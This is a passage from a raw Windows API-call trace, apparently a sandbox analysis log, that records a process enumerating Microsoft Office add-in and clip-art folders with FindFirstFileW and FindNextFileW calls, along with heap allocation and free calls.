Add-in\\uk\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0170.345] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.346] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0170.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.348] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0170.348] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0170.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi") returned 81 [0170.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0170.550] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.571] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0170.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.572] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0170.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.574] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0170.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.576] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0170.577] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0170.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.579] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0170.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.579] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0170.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.581] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0170.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.583] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0170.583] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0170.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.583] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0170.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.585] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0170.587] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.587] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0170.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.588] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0170.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.589] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0170.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.590] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0170.590] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0170.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.590] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0170.590] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0170.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.590] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0170.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0170.599] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0170.600] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0170.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.600] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0170.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.879] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0170.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.879] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0170.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.879] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0 [0170.879] FindClose (in: hFindFile=0x4532100 | out: hFindFile=0x4532100) returned 1 [0170.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.879] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0170.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.881] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0170.881] FindClose (in: hFindFile=0x4532100 | out: hFindFile=0x4532100) returned 1 [0170.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.881] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0170.881] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0170.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.882] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0170.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.884] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0170.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.886] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0170.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.888] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0170.888] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0170.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.888] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0170.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.890] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0170.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.892] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0170.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0170.892] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0170.892] FindClose (in: hFindFile=0x4532100 | out: hFindFile=0x4532100) returned 1 [0170.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.893] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, 